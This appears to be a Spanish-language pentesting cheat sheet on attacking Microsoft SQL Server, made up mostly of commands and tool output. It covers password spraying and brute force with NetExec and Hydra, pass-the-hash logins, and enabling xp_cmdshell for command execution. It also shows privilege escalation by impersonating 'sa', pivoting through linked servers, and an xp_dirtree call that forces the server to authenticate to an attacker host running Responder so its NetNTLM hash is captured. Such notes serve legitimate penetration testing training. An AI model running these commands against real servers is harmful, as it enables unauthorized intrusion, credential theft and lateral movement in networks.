MSSQL (Microsoft SQL Server)
Microsoft SQL (MSSQL) es el sistema de gestión de bases de datos relacionales basado en SQL de Microsoft. A diferencia de MySQL, MSSQL es de código cerrado y se escribió inicialmente para ejecutarse en sistemas operativos Windows. Es popular entre administradores de bases de datos y desarrolladores a la hora de crear aplicaciones que se ejecutan en el framework .NET de Microsoft, debido a su fuerte soporte nativo para .NET. Existen versiones de MSSQL que corren en Linux y macOS, pero lo más común es encontrar instancias de MSSQL en objetivos que ejecutan Windows.
Bases de datos del sistema
| Base de datos | Descripción |
|---|---|
master | Realiza un seguimiento de toda la información del sistema para una instancia de SQL Server. |
model | Base de datos de plantilla que actúa como estructura para cada nueva base de datos creada. Cualquier configuración modificada aquí se reflejará en las bases de datos nuevas creadas después del cambio. |
msdb | El Agente SQL Server la utiliza para programar trabajos y alertas. |
tempdb | Almacena objetos temporales. |
resource | Base de datos de solo lectura que contiene los objetos del sistema incluidos con SQL Server. |
Footprinting del servicio
❯ sudo nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 172.16.63.10
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-08 09:40 EST
Nmap scan report for 172.16.63.10
Host is up (0.15s latency).
PORT STATE SERVICE VERSION
1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-ntlm-info:
| Target_Name: SQL-01
| NetBIOS_Domain_Name: SQL-01
| NetBIOS_Computer_Name: SQL-01
| DNS_Domain_Name: SQL-01
| DNS_Computer_Name: SQL-01
|_ Product_Version: 10.0.17763
Host script results:
| ms-sql-dac:
|_ Instance: MSSQLSERVER; DAC port: 1434 (connection failed)
| ms-sql-info:
| Windows server name: SQL-01
| 172.16.63.10\MSSQLSERVER:
| Instance name: MSSQLSERVER
| Version:
| name: Microsoft SQL Server 2019 RTM
| number: 15.00.2000.00
| Product: Microsoft SQL Server 2019
| Service pack level: RTM
| Post-SP patches applied: false
| TCP port: 1433
| Named pipe: \\172.16.63.10\pipe\sql\query
|_ Clustered: false
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.52 secondsms-sql-info: versión, nombre de instancia y puerto TCP.ms-sql-empty-password: comprueba si la cuentasatiene contraseña vacía.ms-sql-ntlm-info: filtra el nombre NetBIOS/dominio del servidor, incluso sin autenticarse — útil para reconocimiento de Active Directory.ms-sql-xp-cmdshell: comprueba si el procedimientoxp_cmdshellestá habilitado (ver sección de explotación).ms-sql-dump-hashes: intenta volcar hashes de contraseñas de los logins SQL (requiere credenciales con privilegios suficientes).--script-args mssql.username=sa,mssql.password=: credenciales a usar para los scripts que las requieren (aquí se pruebasasin contraseña).
MSSQL Ping con Metasploit
Módulo auxiliar que identifica instancias SQL Server en la red sin necesidad de autenticación:
msf6 auxiliary(scanner/mssql/mssql_ping) > set rhosts 172.16.63.10
rhosts => 172.16.63.10
msf6 auxiliary(scanner/mssql/mssql_ping) > run
[*] 172.16.63.10: - SQL Server information for 172.16.63.10:
[+] 172.16.63.10: - ServerName = SQL-01
[+] 172.16.63.10: - InstanceName = MSSQLSERVER
[+] 172.16.63.10: - IsClustered = No
[+] 172.16.63.10: - Version = 15.0.2000.5
[+] 172.16.63.10: - tcp = 1433
[+] 172.16.63.10: - np = \\SQL-01\pipe\sql\query
[*] 172.16.63.10: - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completedConexión con mssqlclient.py (Impacket)
Autenticación integrada de Windows (-windows-auth), útil cuando se dispone de credenciales de dominio en vez de un login SQL local:
❯ python3 mssqlclient.py Administrator@172.16.63.10 -windows-auth
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
Password:
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(SQL-01): Line 1: Changed database context to 'master'.
[*] INFO(SQL-01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands
SQL> select name from sys.databases
name
--------------------------------------------------------------------------------------
master
tempdb
model
msdbAutenticación con login SQL local (usuario/contraseña propios de la instancia, sin -windows-auth):
❯ python3 mssqlclient.py sa@172.16.63.10Autenticación con hash NTLM en vez de contraseña (pass-the-hash):
❯ python3 mssqlclient.py -hashes aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c domain/Administrator@172.16.63.10 -windows-authEnumeración y explotación con NetExec (CrackMapExec)
NetExec (nxc), sucesor de CrackMapExec, incluye un módulo de protocolo dedicado a MSSQL con la misma filosofía que su módulo de SMB: validar credenciales, enumerar información y ejecutar acciones, todo desde la misma herramienta.
Validar credenciales / autenticación
Autenticación de dominio (por defecto):
❯ nxc mssql 172.16.63.10 -u Administrator -p 'password' -d domain.localAutenticación con un login SQL local en vez de una cuenta de dominio (equivalente a no usar -windows-auth en mssqlclient.py):
❯ nxc mssql 172.16.63.10 -u sa -p 'password' --local-authProbar sesión nula / credenciales vacías (para ver si el servidor permite acceso anónimo):
❯ nxc mssql 172.16.63.10 -u '' -p ''Fuerza bruta / password spraying contra varias instancias a la vez, usando listas de usuarios y contraseñas:
❯ nxc mssql 172.16.63.10 -u usuarios.txt -p contraseñas.txt --continue-on-success--continue-on-success: no detiene el ataque al primer login válido, sigue probando el resto de combinaciones (útil en password spraying contra múltiples cuentas).
Ejecutar queries SQL directamente
❯ nxc mssql 172.16.63.10 -u sa -p 'password' -q "select @@version"❯ nxc mssql 172.16.63.10 -u sa -p 'password' -q "select name from sys.databases"❯ nxc mssql 172.16.63.10 -u sa -p 'password' -q "select is_srvrolemember('sysadmin')"-q: ejecuta la consulta SQL indicada directamente contra la instancia, sin necesidad de abrir una sesión interactiva conmssqlclient.py. Muy útil para automatizar reconocimiento contra muchas instancias a la vez (combinándolo con un archivo de IPs).
Ejecutar comandos del sistema operativo (xp_cmdshell automático)
❯ nxc mssql 172.16.63.10 -u sa -p 'password' -x "whoami"❯ nxc mssql 172.16.63.10 -u sa -p 'password' -x "ipconfig /all"-x: ejecuta un comando del sistema operativo. Si el usuario tiene privilegiossysadmin, NetExec habilitaxp_cmdshellautomáticamente en segundo plano (los mismos pasos manuales vistos en la sección de explotación), ejecuta el comando, y devuelve el resultado — sin que el operador tenga que hacerlo a mano.- Equivalente en PowerShell en vez de cmd, usando
-X(mayúscula):
❯ nxc mssql 172.16.63.10 -u sa -p 'password' -X "Get-Process"Módulos disponibles para MSSQL
❯ nxc mssql -L- Lista los módulos disponibles para el protocolo MSSQL. Entre los más útiles suele estar
mssql_priv, que comprueba automáticamente privilegios de impersonation y roles del login actual (equivalente a las consultas manuales de la sección de "Impersonation" más abajo):
❯ nxc mssql 172.16.63.10 -u jsmith -p 'password' -M mssql_privEnumerar en toda una red (barrido de instancias MSSQL)
❯ nxc mssql 172.16.63.0/24 -u sa -p 'password' --local-auth- Igual que con SMB, se puede apuntar a un rango CIDR completo en vez de una sola IP, para hacer password spraying o validar las mismas credenciales contra todas las instancias MSSQL de la red de una sola vez.
Otras herramientas de enumeración
Cliente nativo de línea de comandos de Microsoft (si está disponible en el sistema, por ejemplo en un host Windows comprometido):
C:\> sqlcmd -S 172.16.63.10 -U sa -P 'password'Fuerza bruta de credenciales con Hydra:
❯ hydra -L usuarios.txt -P contraseñas.txt mssql://172.16.63.10Comandos de referencia rápida (dentro de una sesión)
| Comando | Descripción |
|---|---|
select name from sys.databases; | Lista las bases de datos disponibles. |
select table_name from information_schema.tables; | Lista las tablas de la base de datos actual. |
select * from <tabla>; | Muestra el contenido de una tabla. |
select is_srvrolemember('sysadmin'); | Comprueba si el usuario actual tiene el rol sysadmin (devuelve 1 si es así). |
select suser_sname(); | Muestra el login actualmente conectado. |
select @@version; | Muestra la versión completa del servidor. |
EXEC sp_helpdb; | Información detallada de las bases de datos. |
EXEC sp_helprotect 'xp_cmdshell'; | Muestra qué usuarios/roles tienen permiso para ejecutar xp_cmdshell. |
Explotación adicional
RCE vía xp_cmdshell
xp_cmdshell es un procedimiento almacenado extendido que permite ejecutar comandos del sistema operativo directamente desde una consulta SQL. Está deshabilitado por defecto, pero si el usuario tiene el rol sysadmin, puede habilitarse en tiempo real:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
EXEC xp_cmdshell 'whoami';- Este es el vector de explotación más directo y más buscado en MSSQL: convierte una simple consulta SQL en ejecución de comandos arbitrarios del sistema operativo, con los privilegios de la cuenta de servicio de SQL Server (que en muchos casos mal configurados corre como
NT AUTHORITY\SYSTEMo una cuenta de dominio con privilegios elevados). - Con Impacket,
mssqlclient.pyya trae un atajo: una vez conectado, el comandoenable_xp_cmdshellhace los cuatro pasos anteriores automáticamente.
Impersonation (EXECUTE AS) — Escalada de privilegios dentro de SQL Server
Si un login de bajos privilegios tiene permiso de IMPERSONATE sobre otro login más privilegiado (una configuración común y a menudo pasada por alto), se puede escalar sin necesidad de credenciales adicionales:
-- Ver qué logins se pueden impersonar
SELECT distinct b.name FROM sys.server_permissions a
INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE';
-- Impersonar al login sa (u otro con privilegios sysadmin)
EXECUTE AS LOGIN = 'sa';
SELECT is_srvrolemember('sysadmin'); -- debería devolver 1 tras la impersonación- Una vez impersonado, se puede proceder directamente a habilitar
xp_cmdshellcomo si se hubiera iniciado sesión con esas credenciales.
Abuso de Linked Servers
Los "linked servers" permiten que una instancia de SQL Server ejecute consultas contra otra instancia remota. Si el servidor objetivo tiene un linked server mal configurado (por ejemplo, guardando credenciales con privilegios sysadmin en el servidor remoto), se puede pivotar de un servidor SQL a otro:
-- Listar los linked servers configurados
EXEC sp_linkedservers;
-- Ejecutar una consulta en el servidor vinculado
SELECT * FROM OPENQUERY([NOMBRE_LINKED_SERVER], 'select @@version');
-- Si el linked server tiene privilegios sysadmin, se puede habilitar xp_cmdshell remotamente
EXEC('sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [NOMBRE_LINKED_SERVER];
EXEC('EXEC xp_cmdshell ''whoami''') AT [NOMBRE_LINKED_SERVER];- Esta técnica es especialmente relevante en redes con múltiples servidores SQL interconectados, donde comprometer el eslabón más débil permite saltar a instancias con mayores privilegios — un patrón de movimiento lateral muy usado en entornos empresariales con Active Directory.
Captura de hash NetNTLM vía UNC forzado
Igual que con otros servicios de Windows, se puede forzar a SQL Server a autenticarse contra un recurso SMB controlado por el atacante, capturando su hash NetNTLM con Responder:
EXEC master..xp_dirtree '\\172.16.63.99\share\';- Si la cuenta de servicio de SQL Server tiene privilegios de dominio, el hash capturado (con
Responderescuchando en172.16.63.99) puede crackearse offline o reenviarse con un ataque de relay (versmb.md).